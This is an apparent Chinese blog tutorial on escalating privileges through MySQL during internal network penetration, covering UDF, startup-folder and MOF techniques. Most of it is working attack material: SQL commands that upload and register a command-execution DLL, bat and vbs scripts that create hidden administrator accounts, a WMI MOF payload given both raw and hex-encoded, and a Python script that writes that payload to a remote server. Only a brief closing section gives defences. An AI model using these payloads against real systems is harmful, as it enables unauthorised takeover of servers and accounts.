内网渗透-MySQL提权

MySQL提权

mysql的权限提升通常有两种:

复制代码
UDF提权(常用)
写文件提权
    启动项提权
    mof提权

一、UDF提权

UDF

全称为user defined function,用户自定义函数

用户可以添加自定义的新函数到Mysql中,以达到功能的扩充,调用方式与一般系统自带的函数相同,例如 contact(),user(),version()等函数

UDF提权的作用

渗透过程中,拿下一台低权限的主机shell(尤其是windows)时,有些操作无法进行,而此时本地恰好存在mysql数据库,且mysql是root权限 (windows中mysql一般都是管理员权限),就可以通过新建管理员用户等操作实现提权即udf提权,也可以称为通过mysql获得管理员权限

动态链接库

动态链接库:是把程序代码中会使用的函数编译成机器码,保存在.dll文件中。在编译时,不会把函数的机器码复制一份到可执行文件中。编译器只会在.exe的执行文件里,说明所要调用的函数放在哪一个*.dll文件。程序执行使用到这些函数时,操作系统会把dll文件中的函数拿出来给执行文件使用

注:在linux中对应为so文件

利用条件以及数据库版本问题

获得一个mysql数据库账号(最好是root),拥有insert、delete权限,拥有将xxx.dll写入相对应目录的权限

查看版本:

select version();

查看secure-file-priv是否有目录限制,执行:

show global variables like "secure%";

复制代码
当secure_file_priv 的值为 NULL ,表示限制mysqld 不允许导入|导出,无法进行提权
当secure_file_priv 的值为 c:/ ,表示限制 mysqld 的导入|导出只能发生在c盘目录下,无法进行提权
当 secure_file_priv的值没有具体值时,表示不对 mysqld 的导入|导出做限制,可以提权

查看plugin目录是否存在:

select @@plugin_dir;

#或

show variables like 'plugin%';

udf利用的其中一步,是要将我们的xxx.dll文件上传到mysql检索目录中,mysql各版本的检索目录有所不同:

版本 路径

MySQL < 5.0 导出路径随意

5.0 <= MySQL < 5.1 需要导出至目标服务器的系统目录(如:C:\windows\system32\)

5.1 < MySQL 必须导出到MySQL安装目录下的lib\plugin目录下(高版本mysql默认不存在lib\plugin目录,需要自己创建)

版本大于5.1的时候,lib\plugin文件夹的创建方法:

select @@basedir;

#查找到mysql的目录

select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION';

#利用NTFS ADS创建lib目录

select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin::$INDEX_ALLOCATION';

#利用NTFS ADS创建plugin目录

udf文件的获取与上传

很多现成的udf文件,不需要自己构造:

复制代码
从sqlmap中获取
sqlmap中的udf文件为了防止误杀进行了异或处理,需要利用sqlmap自带的解码脚本

python  /usr/share/sqlmap/extra/cloak/cloak.py -d -i  /usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_  -o lib_mysqludf_sys.dll
#win

python  /usr/share/sqlmap/extra/cloak/cloak.py -d -i  /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_  -o lib_mysqludf_sys.so
#linux

从msf中获取

/usr/share/metasploit-framework/data/exploits/mysql,直接cp出来就可以,不需要解码

使用MSF中的exploit/multi/mysql/mysql_udf_payload模块也可以进行UDF提权,MSF会将dll写入lib\plugin\目录下(前提是目录存在,如果目录不存在,则不能成功),DLL文件可以取任意的名字,该dll文件包含sys_exec()和sys_eval()两个函数.但是默认只创建sys_exec()函数,该函数执行并不会有回显,我们可以手工创建sys_eval()函数,来执行有回显的命令

国光师傅的博客:https://www.sqlsec.com/udf/

得到udf文件后,可利用webshell上传或者hex编码上传(这里只是举例,实际上,上传的方式有很多,步骤多变,应当视情况而定):

复制代码
创建一张临时表用来存放DLL/SO文件的十六进制内容

CREATE TABLE temp_udf(udf blob);

插入

转化成十六进制方法很多这里我们使用mysql

select hex(load_file('C:/udf,dll')) into dumpfile 'c:/udf.txt';

注:outfile导出文件会在末尾写入新行且转义换行符,破坏二进制文件结构,dumpfile不会进行任何操作

插入

其中 b i n a r y C o d e 为已经转换好的十六进制内容 , binaryCode为已经转换好的十六进制内容, binaryCode为已经转换好的十六进制内容,binarycode前加0X

INSERT into temp_udf values (CONVERT($binaryCode,CHRA));

导出

将udf文件导出至对应位置:

复制代码
SELECT * FROM temp_udf INTO DUMPFILE "/usr/lib64/mysql/plugins/udf.so";

注:此时如果出现了错误Can't create/write to file是因为没有lib/plugin目录into dumpfile也不能创建文件夹所以报错

使用udf.dll

udf常用函数:

sys_eval,执行任意命令,并将输出返回。

sys_exec,执行任意命令,并将退出码返回。

sys_get,获取一个环境变量。

sys_set,创建或修改一个环境变量。

假设我的udf文件名为'udf.dll',且已经上传到了mysql检索目录中,接下来只需要引入即可

实例

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

只有两个变量,一个是function_name(函数名),我们想引入的函数是sys_eval。还有一个变量是shared_library_name(共享包名称),即'xxx.dll'。

可以查看是否添加成功:

select * from mysql.func;

至此便成功引入了sys_eval函数,用于在mysql中执行系统命令:

select sys_eval('whoami');

如果要卸载该函数:

drop function sys_eval;

实操

了解基本原理和流程后,接下来用实际操作熟悉一下具体的利用手法

复制代码
vulnhub-Raven:2:具体操作见我另一篇文章:vulnhub-Raven:2 渗透记录

二、写文件提权

写文件提权针对于windows系统,基本上就是使用MySQL的outfile或dumpfile函数,向windows特定目录中写入文件来以被动的方式提权,所以这样提权的前提是secure_file_priv变量设置为空

1.启动项提权

原理

windows开机时候都会有一些开机启动的程序,用户启动项会以当前登录用户的权限运行,利用这点,我们可以将自动化脚本写入启动项,达到提权的目的

MySQL的启动项提权,原理就是通过mysql把一段bat或vbs脚本导入到系统的启动项文件夹中,如果管理员启动或者重启的服务器,那么该脚本就会被调用,并执行脚本里面的命令(创建管理员账户),实现权限提升

上传脚本

getshell后,查看服务器上系统盘的可读可写目录,若是启动目录 "C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" 是可读可写的,我们就可以执行上传一个vbs或者bat的脚本:

复制代码
bat执行的基础命令:
c 复制代码
@echo off
net user test1 Q!w2e3r4 /add
net localgroup administrators test1 /add

vbs执行的基础命令:

c 复制代码
set wshshell=createobject("wscript.shell")
a=wshshell.run("cmd.exe /c net user ttt Q!w2e3r4 /add",0)
b=wshshell.run("cmd.exe /c net localgroup administrators ttt /add",0)

c 复制代码
set wsnetwork=CreateObject("WSCRIPT.NETWORK") 
os="WinNT://"&wsnetwork.ComputerName 
Set ob=GetObject(os) '得到adsi接口,绑定 
Set oe=GetObject(os&"/Administrators,group") '属性,admin组 
Set od=ob.Create("user","test1") '建立用户 
od.SetPassword "Q!w2e3r4" '设置密码 
od.SetInfo '保存 
Set of=GetObject(os&"/test1",user) '得到用户 
oe.add os&"/test1" 

上面脚本作用是:

复制代码
创建一个用户名为 test1、密码为 Q!w2e3r4 的用户帐户
将该用户帐户添加到本地管理员组,赋予该用户管理员权限

值得一提的是:bat脚本在启动运行时会有明显的DOS窗口弹出来,而VBS脚本则可以完全隐藏窗口且不会有错误提示,也可以写一句完成脚本后自动删除此脚本的语句

写入启动项

上传后直接mysql语句写入即可:

复制代码
连接到对方MYSQL 服务器

进入test数据库,这个数据库一般情况下没有表

直接写:

select load_file("C:/www/vbs.txt") into dumpfile "C:/ProgramData/Microsoft/Windows/Start Menu/Programs/Startup/test.bat";

接下来只要服务器重启,即可提权成功(通常我们会主动去重启服务器,利用远程溢出(Ms12-020)或社工手法等)

2.MOF提权

MOF

托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。在windows 2003及更低版本windows中,nullevt.mof文件存储在c:/windows/system32/wbem/mof/目录下,windows系统每隔五秒就会以system权限执行一次该文件,去监控进程创建和死亡,执行成功会移动到该目录下的good文件夹,执行失败移动到bad文件夹

原理

对mof文件进行利用,修改此文件,将其中一部份vbs代码替换为后门代码或添加管理员用户的命令后,使用dumpfile函数导入c:/windows/system32/wbem/mof/文件夹,系统再次执行该文件即可完成权限提升

利用条件

mof提权需要在system32文件夹下写文件,条件较为严苛:

复制代码
windows 2003及以下版本

mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录

secure_file_priv参数不为null

利用

添加管理员用户的vbs脚本如下:

c 复制代码
#pragma namespace("\\\\.\\root\\subscription") 
instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 
instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user Yuy0ung admin123 /add\")"; 
}; 
instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

在添加用户之后,还需要将用户加入本地管理员组,将脚本中的net.exe user Yuy0ung admin123 /add\换成:

net localgroup Administrators Yuy0ung /add

脚本文件的上传思路与udf提权类似,大概三种:

复制代码
直接上传然后dumpfile

select load_file("C:/test.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

直接将脚本的16进制编码dumpfile

c 复制代码
select 0x23707261676d61206e616d65737061636528225c5c5c5c2e5c5c726f6f745c5c737562736372697074696f6e2229200a696e7374616e6365206f66205f5f4576656e7446696c74657220617320244576656e7446696c746572200a7b200a202020204576656e744e616d657370616365203d2022526f6f745c5c43696d7632223b200a202020204e616d6520203d202266696c745032223b200a202020205175657279203d202253656c656374202a2046726f6d205f5f496e7374616e63654d6f64696669636174696f6e4576656e742022200a20202020202020202020202022576865726520546172676574496e7374616e636520497361205c2257696e33325f4c6f63616c54696d655c222022200a20202020202020202020202022416e6420546172676574496e7374616e63652e5365636f6e64203d2035223b200a2020202051756572794c616e6775616765203d202257514c223b200a7d3b200a0a696e7374616e6365206f66204163746976655363726970744576656e74436f6e73756d65722061732024436f6e73756d6572200a7b200a202020204e616d65203d2022636f6e735043535632223b200a20202020536372697074696e67456e67696e65203d20224a536372697074223b200a2020202053637269707454657874203d200a202020202276617220575348203d206e657720416374697665584f626a656374285c22575363726970742e5368656c6c5c22295c6e5753482e72756e285c226e65742e65786520757365722061646d696e2061646d696e202f6164645c2229223b200a7d3b200a0a696e7374616e6365206f66205f5f46696c746572546f436f6e73756d657242696e64696e67200a7b200a20202020436f6e73756d65722020203d2024436f6e73756d65723b200a2020202046696c746572203d20244576656e7446696c7465723b200a7d3b into dumpfile 'C:/windows/system32/wbem/mof/nullevt.mof';

数据库允许远程链接的情况下可以使用py写入

c 复制代码
  #Python3

    import MySQLdb

    conn=MySQLdb.connect(host="192.168.111.6",user="root",passwd="root") 

    payload = r'''
    #pragma namespace("\\\\.\\root\\subscription")
    instance of __EventFilter as $EventFilter
     {
     EventNamespace = "Root\\Cimv2";
     Name = "filtP2";
     Query = "Select * From __InstanceModificationEvent "
     "Where TargetInstance Isa \"Win32_LocalTime\" "
     "And TargetInstance.Second = 5";
     QueryLanguage = "WQL";
     };

    instance of ActiveScriptEventConsumer as $Consumer
     {
     Name = "consPCSV2";
     ScriptingEngine = "JScript";
     ScriptText =
     "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user xxxx xxx /add\")";
     };

    instance of __FilterToConsumerBinding
     {
     Consumer = $Consumer;
     Filter = $EventFilter;
     };
    '''

    ascii_payload = ''

    for each_chr in payload:
        ascii_payload += str(ord(each_chr)) + ','

    ascii_payload = ascii_payload[:-1]

    cur = conn.cursor()
    sql = "select char(%s) into dumpfile 'C:/windows/system32/wbem/mof/nullevt.mof'" % ascii_payload

    cur.execute(sql)
    conn.close()

注意事项

服务器会每五秒会循环执行之前的mof文件中的内容,在服务器被mof提权后,需要解决系统继续运行恶意代码的问题:

net stop winmgmt

#停止winmgmt服务

rmdir /q /s c:\windows\system32\wbem\repository

#删除存储库备份

del /f /s c:\windows\system32\wbem\mof\good\nullevt.mof

#删除mof文件

net start winmgmt

#重启winmgmt服务

三、针对MySQL提权的防御手段

从上面提到的提权过程可以知道,这些权限提升基本都是mysql的配置不当导致的,因此,可以有如下防御措施:

复制代码
降低数据库服务启动用户的权限
如果非必要,可以删除插件目录或限制插件目录的权限
正确配置secure_file_priv变量
相关推荐
智擎软件测评小祺1 天前
渗透测试报告关键模块拆解
网络·web安全·渗透测试·测试·检测·cma·cnas
智擎软件测评小祺1 天前
渗透测试报告撰写:漏洞发现到验证流程
网络·渗透测试·测试·cma·第三方检测·cnas·渗透测试报告
网络安全许木2 天前
自学渗透测试第11天(Linux压缩解压与磁盘管理)
linux·网络安全·渗透测试
网络安全许木2 天前
自学渗透测试第13天(DVWA配置与信息收集命令)
网络安全·渗透测试·信息收集·kali linux
网络安全许木2 天前
自学渗透测试的第十天(HTTP进阶与Burp Suite基础)
网络·网络协议·http·网络安全·渗透测试
vortex52 天前
【红队】企业内部安全区域划分与攻防思路解析
网络·安全·网络安全·渗透测试
网络安全许木3 天前
自学渗透测试第12天(渗透测试流程与DVWA部署)
web安全·网络安全·渗透测试
vortex53 天前
SOAP 协议中的 XML 外部实体注入(XXE)漏洞
xml·网络安全·渗透测试
Sombra_Olivia3 天前
Vulhub 中的 bash CVE-2014-6271
安全·web安全·网络安全·渗透测试·vulhub
网络安全许木3 天前
自学渗透测试第八天(网络安全法、伦理规范与工具链联动)
windows·web安全·网络安全·渗透测试·kali linux